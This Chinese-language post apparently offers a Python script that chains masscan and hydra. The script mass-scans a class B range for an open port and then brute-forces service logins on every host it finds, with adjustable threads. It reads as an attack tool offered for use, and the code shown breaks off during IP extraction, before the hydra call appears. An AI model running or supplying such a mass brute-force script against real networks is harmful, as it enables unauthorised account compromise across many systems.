#0x00
端口扫描工具masscan速度超快,扫描一个B类地址65535个IP的1个端口,10分钟之内即可扫描完,扫描出的地址再配合hydra进行定向服务爆破
#0x01
kali中自带hydra工具,自行安装masscan工具;
kali中自带python3环境,可直接使用脚本,脚本先调用masscan端口扫描,输出扫描结果,再对扫描结果提取ip地址,然后调用hydra工具对提取的ip地址进行批量爆破,为加快破解速度,脚本采用多线程技术,可自定义线程数量;
#0x02
python代码如下
import os
import threading
import re
#####################定义最大并发访问数量,建议不要超过20###############
pool_sem = threading.BoundedSemaphore(15)
#####################定义最大并发访问数量,建议不要超过20###############
def masscan(ip,port):
mas_cli = 'masscan -p' + port+' '+ip + ' -oL masscan_result.log'
os.system(mas_cli)
def re_ip():
ip_list = []
with open('masscan_result.log' , 'r+' , encoding="utf-8", errors="ignore") as f:
scan_ip = f.read()
for m in scan_ip.split("\n"):
try:
&nb